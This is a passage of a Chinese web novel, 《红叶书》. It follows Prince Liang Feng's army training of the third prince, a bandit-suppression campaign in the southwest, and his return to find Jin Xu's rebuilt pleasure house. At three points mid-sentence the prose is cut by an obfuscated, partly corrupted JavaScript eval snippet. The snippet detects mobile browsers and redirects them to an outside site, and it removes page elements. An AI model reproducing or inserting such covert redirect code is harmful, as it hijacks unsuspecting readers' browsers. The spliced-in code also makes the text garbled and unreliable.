只用了黑色,未上色的白线表示屋子各部位轮廓,八字屋檐既像皱着的眉毛又像紧闭的眼睛;方形的门画成了圆拱,大张着,圆嘴拱到了眼睛下面,嘴里还有牙齿,活像在尖叫。房子周围用黑墨以龟裂状线条涂满,表示屋子散发的森森鬼气。 墨迹未干,梁风捏着纸张两角,出到外面对着太阳底下真正的库房比照。只能说有一点点形似,不能说完全不相干。 他注意到金絮画的房子牙齿不是尖的,是圆头的,看起来比较钝。 “王爷,这边来。” 金絮在喊他,招他过去。梁风过去了,被她牵着袖子带到前馆。 “漆也要重新刷。” 工匠们正在忙活。嬉春院被大火烧焦的那面墙几乎拆完了,为了防止拆墙扩建而导致整体垮塌,内部插了许多根长木支撑墙体,看着十分危险。 待墨迹干了,梁风将画收好,叮嘱道:“这里很危险,之后监工也别跑到前馆来了。” “知道了。”她嘴上应了,语气很明显并没把他的话放在心上。金絮道:“我本来还担心,我不在的时候工匠们会偷工减料,现在好了,王爷来了一趟,我就不担心了。” “那我之后常来吧。”梁风看着时不时拿眼偷瞧他的工匠们道。 天黑了,梁风送金絮回客栈,在客栈里吃了饭,留下一名暗卫通传消息,便和她告辞去军营了。 之后,他花了点心思去记温柔馆姑娘们的新名字,莲儿叫化莲,冬儿叫纯冬,蓉儿叫火蓉,还有其他人,媚秋、凝荷、水夭......等等。不得不说,徐娘取名实在是太懒了。 过两日,他琢磨着什么时候再入城看看,也去看看母亲。 一道圣旨打断,皇帝命三皇子入军营历练,直至召回。 梁风便暂时歇了入城的心思。 与丕和与棣在差不多的年纪都被皇帝安排入营历练了。以前他大约还会揣摩揣摩皇帝心思,但现在懒了,猜也猜不出来,姑且看作是一种父爱吧。 圣旨下来的当天,三皇子来到军营。 即将入冬,三皇子的随从车马意外地简单,似乎真做好了吃苦的准备。 梁风原本以为与棣会质问他,为何抓捕那刑犯时毫不留情,连条命都不给留,明明那时大夫的救治可以更快一点。但看与棣完全没有提起此事的意思,他便也不主动开口。 梁风不动脑子,将之前与丕历练过的那套直接照搬到与棣身上,包括住所,只不过孙提不在了,亲自教授的事项需由他负责。 或许是有大哥的前鉴,与棣对梁风的安排表现出十分老道的样子,指指点点,骑射、军阵、兵书,对每一项安排都提出了异议与细节上的修改。与棣还扬言,他和大哥不一样,不能用老一套了,应和王麾下的军制也该与时俱进。 梁风心里呵呵,也不辩驳,只把与棣的原话转达给了皇帝。 也是当天,皇帝回批,军营中与三皇子有关的一切事物全由应和王负责,三皇子不得挑拣。 与棣便没话讲了。 梁风看出来,三皇子和太子的处事相当不同。与丕即使心里不满,面上多少也是有和气的,而与棣,是让人打眼一见就知道心里指不定憋着坏心思。明明是同一个人的儿子......果然是同一个人的儿子,都是表里不一的,皇帝教育得好啊。 梁风最能拿得出手教人的,是骑射与排兵布阵。皇帝圣旨里说了,应和王暂不教授兵阵,而主以骑射授之。 教了一阵子,与棣领悟平平,好在耐心不减,有几分勤奋。未见得露出多少笑脸感受兵技,但也愿意对自己不足之处多加练习、多加体悟,以求习得军事窍门。 梁风知道,与棣学习兵法并不是因为喜欢,只是为了迎合皇帝的期望。梁戟夺位前军事上有各大将领,登基后有梁风,皇帝已经给了皇子们优待,让他们躲过了战事最频繁的几年。做父亲的,到底对自己孩子是不一样的。 今年十一月初便下了雪,断断续续下了大半个月,梁风抽不出身入城,担心金絮那边的情况。 气温愈冷,工匠们难以露天工作,加上落雪覆盖建筑,搭建的同时还要扫雪,温柔馆重建难度加大。金絮即便抓紧赶工,恐怕无法在深冬前完成温柔馆的重建。 若是建不完,今年冬天她和她的姑娘们能住哪里。 心思分出去,对与棣的管制宽松了。梁风写信偷偷寄给金絮,她没有回信。守在她身边的暗卫告诉梁风,她们一群人已由赵关安置妥当。 赵关? 梁风记得这个名字。收留一群女子过冬?他笃定这个赵关没安好心思,不断给金絮写信,让她另找家客栈度过冬天,别找那什么姓赵的。 接连送去五六封,金絮终于回信了。 第一件事是让他收走看管她的暗卫,然后问他为什么不信任赵关?最后一句话才说,那儿是赵关在京城一处空置的院落,住进她们一群人还挤了点,房子条件倒也没多好,最主要是不花钱。 梁风几乎忽略了占据篇幅最大的第一件事,盯住了金絮问他的那句“为什么不信任赵关?” 没有原因,他就是这么笃定。 正打算回复,暗卫又递给他一封信。这封篇幅很短,金絮说,如果梁风不收回暗卫,她每隔一个月就换个住的地方,直到甩丢这条尾巴。 这是“说”吗?这分明是威胁。 梁风忍了又忍,最终同意她住在赵关的院子里,但必须留下他派去的暗卫,绝对不许偷偷甩脱。 一件事情,至少要有部分是顺她心意的,才能有商量的余地。 之后金絮再没信来,仿佛对梁风的态度甚为满意。 梁风从信件中一抬头,意外发现三皇子的箭术竟然小有精进。 即便被他忽略,与棣倒也十分自制。梁风甚为满意这样的态度,猜测与棣和与丕之间的较劲儿恐怕不轻。 三皇子不光是认真了,还主动了。梁风入夜后批复军报,与棣就会在入夜前来找他,请教这些年的带兵经验。梁风也不遮掩,问什么答什么,不怕与棣学了去。 这日一场军阵演练完毕,休息的间隙,梁风直接问道:“陛下是不是要派你出征了?” 三皇子打开水壶喝一口,道:“父皇的心思,不好猜。” 听到他如此突兀的问话,与棣丝毫不惊讶,梁风便也不感到惊讶。不知是与棣现在也深藏不漏了,还是皇帝事先就和与棣叮嘱过什么。 “你有想成为将领的念头,将来带领数万雄兵,我是感到很欣慰的。”梁风说:“前些年陛下也有为军营培养将领的意思,但良将难求。对陛下来说,当然是自己的儿子更值得信任。” “信任?”与棣笑了一下,水壶朝旁边随从一扔,“皇叔觉得,哪个更值得?有三个呢。” “这要看陛下的意思。”梁风话接得快,“我与你说这话,是希望你知道,将领身上担负的责任不止是陛下的期望,你要有所准备。” “期望啊。”与棣望着风吹起淡淡沙尘的校场,语气淡淡道:“父皇那本就不多的信任,分给三人,每人可就只有一点点了。” “与義年纪尚小。”梁风道。 与棣忽然转脸朝向他,“下一回剿匪,侄儿恐怕会和皇叔同征。” 梁风愣了愣,再道:“那好,你要注意学......” 他还想说,军营里该出现一个能继承崔固抗匈经验的将领了,与棣却打断道:“前几次征匪,皇叔出了很大的风头,皇兄不甘心,也想自己试试。”与棣状似笑了一下,“皇叔愿意带着皇兄吗?” 梁风正想说愿意,话到嘴边改了口:“这就不由我决定了,全看陛下的意思。” 与棣敛了笑,脸上露出十分严肃的神情,起身召手示意号兵就位,打算开始新一轮的操练。 “与棣,”梁风唤住:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839859|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还有一事想问你。” 与棣回头看他,俯视地等待。 “那个刑犯的死,你会感到遗憾吗?”梁风问。 与棣似乎思索了片刻,才答:“一个已经没有生路的人,救不了便不救了。” “我觉得很遗憾。”梁风说不上是什么感觉。 与棣哼道:“皇叔说这话不合适吧。”然后走了。 对那刑犯的死,感触最大的人难道是金絮。梁风不免有些庆幸,至少金絮有个能开口说真话的路子。与其说是他的遗憾,不如说是金絮的情绪有点影响到他了。 十二月,出征圣旨下来。 梁风领兵,随军左右将军是太子与三皇子殿下,由皇帝钦点。 方向是西南边境。西南部因靠近道国,匪群人数极多,然而较散乱,没有一个堪称匪首的人统领。直到今年年初,那一带出现了一个男人。这人的名号首次崭露头角时,当地官府便立即察觉其势力竟已诡异地覆盖了数座山头。 在朝廷与梁风这几年不断剿匪且颇具成效的情况下,这人仍能神不知鬼不觉地收拢势力,地方官员十分惊恐,立即将情况报告朝廷,猜测这人预谋收拢西南群匪。 梁风拿到那氓匪情报,相府的结论是,这人意欲统领西南全境山匪,目的是和朝廷对抗。这两年梁风剿匪的风声愈大,激起了这样一个人,和本就群龙无首的众匪一拍即合,使其短时间内势力便不容小觑。 相府长史出言,认为这氓匪存在与外族勾连的迹象,蛰伏最初的人力与钱财,所提供者是西南边境外的异族。 这走向和朝廷最初的预想不同,本以为梁风在首战解决南方势力最强大的山匪后,能够杀一儆百,震慑其余地区,余下的招安便好。结果没想到,反而催生出了一个试图和朝廷对抗的人。 如果涉及到外族,此征必然随行一位相府要员,专门负责与外族协谈事宜,皇帝点名由相府长史随行。 多了个文官,路上行程与辎重肯定随之调整,梁风忙于和与丕与棣部署剿匪战略,新春时节的京内治安交给了太尉。 他忙里偷闲,偶尔靠暗卫打听一下金絮的近况。 她有自己的事忙,也没有闲着。她似乎用了个什么东粮西送的法子,平衡了来福街附近的粮价,她住所这几日多人来往,挺热闹的。她是极花心思在赚钱一事上。 看她安顿完毕,放了心,待到冰雪消融,梁风与皇子们携军开拔。 春深时,路程过半。三皇子起先有些不适应随军路上的疲苦,后来耐病了,抱怨的话便少了。 与丕反而蠢蠢欲动,露出几分脸色,似乎是嫌梁风太慢。 至夏终于抵达预计郡城,梁风按原计划,分兵两拨给与丕与棣,分东南与西南两侧呈夹角推进,中间由梁风作为后援。 西南大山连绵起伏,少见平原。蜀地益州这一带虽物资丰富,然而群山遮挡导致消息隔断,工技军备与战略战术绝对比不上中原,或许山匪比来自中原的军队更熟悉山地,但梁风不怕埋伏。皇帝命他此程带上两位皇子,肯定是希望皇子们能正面应敌,得到历练,梁风不想抢了机会,还有风头。如果暗中有陷阱埋伏,那更好,意外也等于转机。 与棣那边十分顺利,招安来的山匪交由梁风集训,梁风还要负责与当地官府沟通,得到粮食补助。 与丕那边却有些奇怪,带着相府长史跑到了益州与牢额一族的边境线,似乎是想抓出山匪中与牢额偷偷私通的奸细,过程秘而不宣。 直到梁风无意发现与丕杀了数名山匪,梁风追问与丕情况,并强调皇帝的旨意不是击杀。 皇帝对待剿匪的态度,从始至今都是招安,招安可让这群躁动不安的山匪有个归置的地方,补充兵力,平息对百姓的剥削,皇帝在这一点上的态度非常明确,从不会模糊不清。可与丕作为太子,居然忽视皇帝的旨令,不知是有意还是无意。 与丕却说这未尝不是皇帝的意思,陛下早有收归牢额的企图,此征特点相府长史随行就是为了这一目的。 似乎是不耐与他争辩,太子殿下话不多说,再开口就是问梁风要粮食。 梁风无可奈何,只能猜测是否出征前皇帝额外吩咐过太子另外的任务,而没有告诉过他。 他忽略了一个问题,如果他和与丕发生纠纷,谁该听谁的,梁风暗悔出兵前未曾跟皇帝确认过他对皇子们的管制权限是怎样。 好在此程最大的目的稳步推进,三皇子名气越传越大,加上与棣暗中散播自己的事迹,周围几乎所有郡县都知道了三皇子这个人。 将近年底时,与棣亲自抓获匪首,声望达到顶峰。 梁风忙于调训不听话的山匪,许多事情无暇顾及。 大雪纷飞时,一封圣旨翻过高山河流,传到梁风手里。 北方匈奴虎视眈眈,似有再次进攻的举动,朝廷需梁风坐镇京城,下旨紧急召回。 125. 《红叶书》(四五) 大山之间的封雪难以翻越,再紧急也无法立即赶回去。 梁风将圣旨急召一事告诉了与丕和与棣,两位皇子皆表示尽快返京。 集训山匪的事交给与丕,梁风和太守商讨返程钱粮如何筹备。京城中有崔固,哪怕崔固已卸去军位,威信仍在,若真有紧急情况梁风赶不及,皇帝肯定会复用崔固。 崔固最后一战令双方歇战数年,大周这几年叛民山匪动乱无数,损失的元气至今未恢复,若匈奴真的举兵来攻,大周恐怕无法支撑这场战争。 但是梁风更仔细一想,这几年过去,大周国力尚未完全恢复,匈奴就能恢复了吗?草原荒芜,物资稀少,匈奴每次发兵南下都是为了抢夺中原物资,那么这次说不准也是同样原因。梁风虽然还不完全了解情况,但有把握推测匈奴后方资源将尽,逼不得已才举兵南攻。或许不会真的打仗,至少先造个势,借此取得和大周谈判的机会。 圣旨中未写明匈奴欲再次发难是何原因,具体情况要等回到京城再看。梁风可以想象此刻朝堂的文官们吵成什么样子了。 匈奴自己没饭吃,惦记着中原的饭。那些草原蛮子是没见到大周偏远郡县一个个穷得快饿死的样子,要是看见了,还不一定对中原物资有多稀罕。 与丕抓紧对山匪的训练,待梁风筹到物资,二月份还未结束,便立即带兵返程。 抵达京城时,赶上了夏天的尾巴。 梁风毫不停歇,兵群驻扎后,他和两位皇子一同回复军报,上呈此征战果。 朝堂的气氛过于肃穆,大臣们争论的事情没有超出梁风的预料。 首先是是否派五公主和亲,安抚匈奴;其次是钱粮还能调出来多少,各地郡国上缴的钱粮还需多久才能抵京;以及,为何为了区区山匪,竟能同时派出梁风和两位皇子,导致京城无人镇守的局面。 争吵最激烈的是最后一件事,有的人说需要,有的人说不需要。说需要的人理由是两位皇子都应历练,再不历练该如何面对匈奴,剿匪是最好的锻炼机会。 听到他们说用剿匪来练手,梁风就听不下去了。他独自离开朝堂,返京后还有很多事情要忙,没空听这些文官瞎扯。 他回营整顿,士兵们不能松懈,但需要休息,梁风还要安排人修复兵器。 犒赏士兵和修补军备的金钱早该下发了,可是梁风之后找了大司农几趟也没要到钱。 他能理解,大司农也不是故意拖着不给。他最后从府中调钱,先把士兵的赏钱给了,还有和山匪承诺过的好处,若是迟迟不给,山匪指不定要闹起来。 文官不断来他这里索要这次剿匪过程中的具体情况,比如受到什么阻碍,大山的环境给两位皇子造成了什么影响,那些未开荒的野林被山匪埋伏下了多少陷阱,这些困难是如何克服的,都一一详细说来。 啰嗦这些,无非是证明这次匪征有两位皇子同去是必要的,梁风简直烦不胜烦。他还想挤出空闲去看看金絮,光听暗卫说也不够,无法详细得知她近况,可抽不出身。 心里这么想着,竟在街上无意见到她一次。 见她时,她在听戏。 夜里戏台高筑,台下听众无数,灯火辉煌间,她就在人群外围,认真地听着戏。 梁风匆匆看了一眼,没来得及和她说上话。 之后几日,与丕从中斡旋,朝廷争吵稍歇,梁风拿到这次匈奴进攻的情报。 匈奴首领的意思很明确,直言这两年气候难熬,旱灾泛滥,牛羊死了近半数,想来中原讨点钱粮,如果钱粮没有,布匹、珠玉、瓷器也行,就问皇帝给不给,不给就打,并表示不要女人。 皇帝暂未表态。梁风不知道这口气该不该松。 大司农终于拨了点钱用于修复和购买军备。山匪们终于有了装备,铠甲一穿,营里的匪气压下去许多。 山匪的训练逐渐步入正轨,梁风得以喘口气,有空就入城找崔固,请教抗匈策略。初问之下,崔固说最近两位皇子也有承陛下之命,来找崔固学习请教。梁风隐约发现,他回京后的行动似乎暗中被人默许,自由了些。 崔固说,敬先带着夫人出门去了,碰巧不在家里。崔固满面笑容,还说敬先要当爹了,儿媳已有孕四月,今年年底孩子就会降生,邀请梁风参加孩子的满月宴。 梁风有些吃惊,忙暂先应下,不好说孩子满月时他在不在京城,答应他若是在京便定赴满月宴。 敬先竟然要有孩子了。 和崔固告辞,梁风还有些没反应过来。 有了孩子意味着什么?敬先会是什么心情。或许因为这几年总是出征在外,对年年月月的感受不一样了,好像他还在慢步地走,年岁却在别人身上流逝得那么快。 他一阵恍惚,有种被人落下的感觉。 这可不是好的感觉,就像行军途中,掉队的士兵是要被斩头的。之后要找个空闲,好好质问敬先,为什么突然要让队伍加速。 越想,惶惑的心绪越重,他打消念头,认真地思索起有关于他自己终身大事的事情。 如果他要娶,肯定要娶十分贴心的人。若是有一点点不贴心,那定然是不娶的。 之前和皇帝说过,他要娶他想娶的,什么样的女子是他想娶的? 好像以前没想过呢。梁风忽然又想到,敬先在成婚前,有想过自己的妻子是什么样的人吗?最终娶到的人和想象中的有什么不同。如果落差太大,该怎么办?但是这世上,不可能有一个人和他想象中的样子完全符合吧。那这个人,肯定是另一个他自己。 成了婚就要天天一起过日子,若是天天和自己面对面,那和照镜子有什么区别。梁风又想到,照模糊不清的铜镜和照湖面的倒影,也是不同的。有的时候,湖面倒影比铜镜还清晰。不过也可能,是他没照过什么磨得相当光滑的镜子。 走得久了,回过神来,他失去了目的,不知走到了哪里。 有好些日子没有认真看过京城了,梁风在街角回顾,看见一张熟悉的戏台。 戏台被人群围拱,同样的地方,再次见到金絮。 她坐在同一个位置,认真听戏。 原来他不知觉走到京城最热闹的一条街来了。 台上人咿咿呀呀,念着说不清的唱词,台下人搓瓜子皮,用不低的声音和唱词对抗。她独自一人,孤寂地静在尾排角落。 夜晚街边的唱台,多半不是为了静心听曲的人设的,只是给这整条街游赏玩乐的人添一曲伴乐助兴。 原来她有小爱好,喜欢听戏。梁风隔远地看着,见她这爱好都压过了温柔馆入夜后才能赚来的钱银。 他隐隐冒出一股欣慰,再看看她,想再看看。 戏台的烛火格外亮,金黄又火红的颜色照着台下所有人,覆盖着金絮,她的衣服头发都与人群融为一体。 她未察觉他的注视,梁风想着自己若是被人这样盯着,定早就激起警惕心了。 可是,他看久了却发现金絮脸上表情不太对劲,她注意力似乎不完全在戏上。她盯着前面人的脑袋走神,心思不知飘去了何处。她明明看起来听得很认真,旁边人说话都打扰不到她。 梁风走近两步,又发现她盯着的原来不是前面人的脑袋,而是戏台的右侧。她盯着灯上黑夜,眼神空洞茫然,好像听不懂戏,好像在发呆。梁风越看越不对劲。 金絮忽然对什么低下了头,看着前面人的凳子腿。她的神情传递过来,压下了他心底那股欣慰。 梁风正欲过去,腰侧佩刀锵锵,他想解下,可这趟出来没有骑马,只能挂着刀走过去。金絮有所感,朝他这边动静看过来。 缓缓上移的视线走到一半忽然停住,她愣着了,双眼木讷地移开,眼中茫然愈发浓烈。 竟然不愿意看他。梁风极小声地唤她的名字。 金絮果然从走神中抽离,抬头直视。 “怎么了?我回来了。”梁风道。 金絮愣愣看着,快速地抬手摸脸,回了神,收手平静道:“都一年多了。” 梁风有些意外,“你在等我吗?” 她思考两下,点点头。 “有事的话,你托我放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839860|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你身边的护卫找你,我有时或许不得空。”梁风自然道。 这么一说,她想起来。金絮猛地站起来,抓住梁风衣袖把他往街边拽。 “我等你就是为了和你说,把你那护卫收回去,我不用人守着。”她语气凶凶的:“还从来没有人敢暗中盯梢我。” “我不敢。”突然莫名触怒她情绪,梁风老实道:“我不是想盯梢你。我怕你身边会有情况,多个人,好把情况及时告知于我。” “什么情况,我能有什么情况?”她似乎不理解,“王爷还怕我输了赌注?”她情绪大了起来,“我已经赢了,温柔馆的营收翻了两倍还有多,不需要人盯着。” “赢了?”梁风为她欣喜,大有松口气的体会,“这话我是喜欢听你说的,你身边的暗卫倒也一直没有坏消息告诉我。” 他朝空挥挥手,末了道:“好了,人我已经召回去了,之后没有人盯梢你了。” 金絮转头环顾,看着毫无动静的四周,一脸不信。 “我陪陪你,我这晚不赶时辰。”梁风道。 她双眼复平静下来,一垂眼,看见他的刀,道:“戏听完了,我回温柔馆去了。” 她说着就往人群里钻。梁风扭头看了眼还在咿咿呀呀的戏台,收回视线道:“那我也去温柔馆看看,我与你一起。” 她没有说话,视线微低,埋头走路。 今夜街上人不算多,走起来格外不着急。又有一年多没见她,她又长高了些。梁风心里算了算她的年纪,今年大约十八了吧,还能长高吗。 “平常不上街走走吗?”梁风找话:“我不在的时候,你在温柔馆里都做些什么?”他指指自己的脸,“你看你又白了许多,没事出门晒晒太阳。” 她下意识摸脸,掌心揉一揉,闷道:“白日里都在睡觉,晒不到。” “你要像我,空闲都是挤出来的。” 金絮觑他眼,不说话。 “赚到钱了么?”梁风问。 她顿了片刻,答:“赚到了。” “那你如今还缺钱么?” “还缺。” 梁风一愣,“怎么还缺钱?我出征前,你不是收拾粮价吗?那都没有赚到钱?” “开销大。”她淡淡解释。 梁风看着她,对这话有点没动到脑筋。金絮发觉不妥,多解释道:“平衡粮价不怎么赚钱的,我当时还亏了一点点,亏了......”她回忆着说:“好像是亏了四十多文钱吧。” 四十文倒不多,原来她弄来弄去还不一定赚到钱的。 “没事。”梁风安慰道:“我有时候向大司农要钱,也不一定要得来。” 她抬头看他,“王爷的钱都是要来的?” 梁风想了想道:“军营里的花销都是大司农拨款,我自己的话,我有月俸和食邑......嗯,也差不多都是要来的。” 梁风慢慢收了音,已经走入来福街,一座崭新宏阔的建筑霸占至眼前。 灯光、烛火、热源仿佛尽汇于瓦片之间,厚重卷翘的屋檐像女子们风吹而起的睫毛,大门高阔敞开,是女子们呼唤揽客的红色嘴唇,成排垂挂的大灯笼像欲遮未遮的衣襟。梁风被他这样的想法愣了一瞬。 温柔馆已然落成了。 他站着看门牌,温柔馆三字雕刻得深刻精致,引人注目,不会被四周过于浓烈的烛火盖过。 他正看着,一片叶子落到头顶,接着两片东西垂到眼前,挡住他的视线。 金絮不知去了何处。好像不是叶子,梁风脑袋一动,头顶轻飘飘的东西摸着耳朵滑到肩上。他拿手一取,是片手帕。 他抬头看,温柔馆二层阁楼上,一名姑娘撑着栏杆托腮看着他。 姑娘朝他勾勾手指,腮边唇一笑,“还给我。” 梁风举起手帕,大声道:“这是你掉的东西啊?” 姑娘姿势不变,仍是笑笑地看着他。 她穿着红色衣裳,在阁楼一排姑娘里面,像根蜡烛,一双眼睛是火芯。 “上来还给我。”那姑娘道。 126. 《红叶书》(四六) 梁风进馆,被温柔馆里诡异的气氛震慑住了。 光线很亮,耳朵第一听见的是厅堂中央站台唱曲的女子嗓音,极为清晰地凸显出来,然后才是男男女女说话的声音,居然不吵。 厅堂内光线可称刺眼,馆身回字型建空,抬头即可见四楼之上的高阔层顶,硕大的灯笼每层楼挂了一圈,光线相当充足。 他一眼看见金絮,隔着整个厅堂看见她的背影。 四方馆阁,与正门相对的一面,贴墙挂了三幅长轴大画,画幅宽阔,画上是简笔的山水或花鸟。金絮掀开中间一幅画,钻了进去,她就消失了。画后面似乎是一间暗房。 他收回视线,注意到厅堂左侧的楼梯可上二层,他便走过去,沿路四下细看。 所有陈设也很崭新,竹席、案几、地板,新得反映着烛光,层顶有数条宽阔的帷幔垂下,柔化了光线,不至于真的刺眼。 很新,完全看不出脱胎于嬉春院。 厅堂很大,散席摆得却不多。中央一张圆形唱台,不高,台上唱曲的女子他认得,叫化莲。化莲身后有三人为她弹琴,她的唱音完全不会被琴声压住,声音散开很远很清晰。他听不出琴曲诀窍,但感觉很好。 唱台周围以红木屏风隔出十位散席,只有十席。他踏上楼阶,逐渐走高,看见十位散席此刻都有客人。温柔馆的女子似乎多了许多,随眼一看,几乎没有落单的男客。 厅堂四面是厢房,房间门口都摆着半人高的木架子,架子上放着几本书。他竟然在青楼里面看见了书本。 梁风上到二楼,迎面一间厢房的书架子摆着六七本书,有杂书话本,也有名著新解,这个书架子上放的是《论语规解》。金絮是爱看书的。 他边走边低头挨个房间看着,这个倒看出诀窍来了。 名著加话本,有种严肃和活泼都顾及上的感觉。她是有精心挑选过的,话本的名字一看就知道是册话本,名著也不是用原本而是解读本,严肃的同时又不会让人感到压迫。 他看着看着,不由好奇房间里面是什么样了。 厢房是寻常的木格门,糊着白纸,眼前这间房门额左角挂了盏灯笼,亮着,门上小牌匾写着房号,不知道里面有没有人。 “公子。” 有人打断他。 “亮着灯笼的房间是有人在用的。” 他往侧面一看,一名比金絮年纪小上几岁的姑娘正看着他。 “哦,抱歉。”梁风后撤一步,远离房门。 “公子需要房间的话,我可以开一间给您。”小姑娘说着,打开手里一本厚厚的册子,“不过只有三层的房间了,二层已经住满了。” “不用了,我不用房间。”梁风道:“你叫什么名字啊?以前好像没见过你。” 小姑娘微微一笑,“公子唤我大厢便好,我是阿絮姐不在时的温柔馆管家。” 温柔馆都有管家的丫头了。 “大厅的席位也已经坐满了,公子不如开间房吧,房间一晚的价钱不高的。”大厢往他身旁瞅了瞅,笑道:“公子心仪什么样的姑娘啊?我们这什么样的姑娘都有。” 梁风摆手,“也不用给我介绍了,我是来找轻絮的。” “原来公子心仪阿絮姐。”大厢张嘴就说。 梁风停住脚步,大厢眼睛盯着他指间的手帕,继续道:“不过我们阿絮姐一般不接客的,她可以陪您喝酒用饭,但她不会唱琴献舞,您恐怕会觉得无趣呢。” 大厢又是一笑,“您被丽姬姑娘选定了,难怪您进门时都没有其他姑娘来找您呢。” 梁风听出不对,“谁?”谁看上他了? “我带您去找丽姬姐。”大厢往前面走。 走到了二层面街的位置,这里姑娘多,变得吵闹了。姑娘朝街上揽客,偶有几人看他一眼,又移开目光。 大厢正拦人打听,梁风四下看看,不往姑娘堆里挤。 忽然,右腰侧被个细软的东西从背后摸上,他浑身一炸,毛都竖了起来。 摸他的东西还顺着他的腰带往左划,梁风本能左手弹刀脱鞘,右手准备接住刀柄,却被右指缝里还捏着那块手帕阻碍了动作,余光看见身后绕过来的人是刚才楼阁上见过的那名女子。 脱鞘一截的刀刃寒光闪过,身侧女子惊呼,猛地缩手。梁风立即收刀回鞘,怕是有误伤。 刀器铿锵两声,吸引周围的人纷纷看过来。 手帕主人离远了他,捏着食指,警惕地瞧着。指腹一道小刀口,正滚出血珠。 “丽姬姐!”大厢惊呼一声。 “对不起。”梁风有些窘迫,反应过来摸他的是一只手,或者是几根手指,而不是危险,他冲动拔刀,不小心割到她了。 “我要的是手帕,而不是刀子。”丽姬怒瞪他,“不过让你还块手帕,你竟然拿刀割我?” “对不起。”是他疏忽了,温柔馆里都是女子,他不应该带刀来的,应该入馆前先卸刀。 “快叫孙姨来。”大厢向旁边姑娘吩咐。 梁风双手递去那块手帕,“还给你。” 手帕上有一点鲜明的血迹。 他手指一缩,差点想把这帕子再收回来。他小心看丽姬神色,丽姬颇为嫌弃,生气道:“身上有剑就行了,还需要另带一把?你知不知道我这双手值多少钱?” 围观的人低声交谈,有姑娘出言调和。梁风想到了办法,道:“不如让我府上的大夫来为你看伤,治好后保证不会留一点疤痕。” “不用了,梁公子,温柔馆有自己的大夫的。”一名女子拦入他与丽姬的对峙之间。 插言的人是爱和他说话的纯冬。纯冬笑笑,安抚丽姬:“都是误会一场,梁公子也不是有心的。梁公子是来找阿絮姐的吧,她正在后院换衣裳,等会就来。” 丽姬一哼,“原来你和阿絮相熟,那正好,”她伤也不包扎了,撩衣扭头就走,“我告状去。” 梁风一听登时急了,忙追着她背影喊:“我又不是故意的,你也不应该从我身后靠近,我没留意才误伤你。” 丽姬不听,拗着股劲气势汹汹地向后院走。 梁风有些坐立难安,担心金絮会不会生气,她今天看起来心情就不好。 纯冬跟在丽姬身后也走了,留下大厢照看他,大厢道:“梁公子不用担心,丽姬姐虽然生气,但是没有收回给您的手帕呢。” 那块手帕还留在手里。他心里叹气,不放心,还是跟了过去。 跟着丽姬走到一个房间入口,结果被拦住,说是男客不能进入,去庭院要走客道。 通向后院的路没有太大变化,和嬉春院是相同布局。但是到了庭院,植被布置却完全不同了。梁风绕了两弯,没找到丽姬她们。 她们或许还在前馆,在他不能进去的厢房里,偷偷说他的坏话。 院子里还有其他三三两两的男人与姑娘们,这里光线很暗,方便男男女女调情说爱。他无意中走到庭院内的水池边,看见那座熟悉的砖桥。 桥的位置不一样了,从池西改建到池央,桥栏造高了,看起来更安全些。 金絮好像常喜欢在这池边,但是没看见她。梁风以桥为参照,往西边一看,树丛之间看见金絮曾经问过他该怎么建的那座小亭子。他略一想,便向亭子走去,这一去,正好看见丽姬和另一女子在说话。 女子捧着丽姬的手指,哄着:“他也不是故意的......” 梁风愣住,这声音听着很像金絮。 他心底一惊。 丽姬怒道:“你不向着我了?男人什么时候这么大脸了?” 女子还要开口,丽姬发现了他,眉毛一竖,对着他道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839861|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不听你说,你要当着我的面教训他。” 女子闻言,顺着丽姬的目光看过来。梁风和她对上视线。 “王爷?” 她面容轮廓很模糊,五官却格外清晰。在头顶亭子垂下的灯光间,在眉眼鼻唇的颜色间,梁风果然看出点金絮的影子。 他竟然没认出金絮。 他没认出金絮。刚才在前馆,他隔着厅堂的所有席位,一眼看见她的背影,现在面对面,反而越看越认不出来。 “你......你......你......”他盯着金絮,说不出话。 不是他没认出来,而是金絮很不一样了。她那张脸,很不一样了。 她的脸好像变了。 进馆分开后,这不过片刻的功夫,她就换了一张脸! 梁风震惊得说不出话,金絮看了看他的刀,道:“以后来温柔馆就不要佩刀了,你若是再伤了人,我就真不知道该怎么办了。” 真的是她的声音!! “你......你......怎么换了一张脸?”梁风指着自己的脸,“你脸上这涂的是什么?脂粉吗?” 涂脂粉能换一张脸?他不由自主地想到几年前的徐娘,妆前妆后的徐娘,那副模样至今让他感到惊悚。 “瞧瞧这多没见识的男人。不过化了妆就不认得了,还以为你和阿絮有多熟呢。”丽姬斜眼上下打量他,鄙夷道:“还让阿絮因为你而委屈我。” 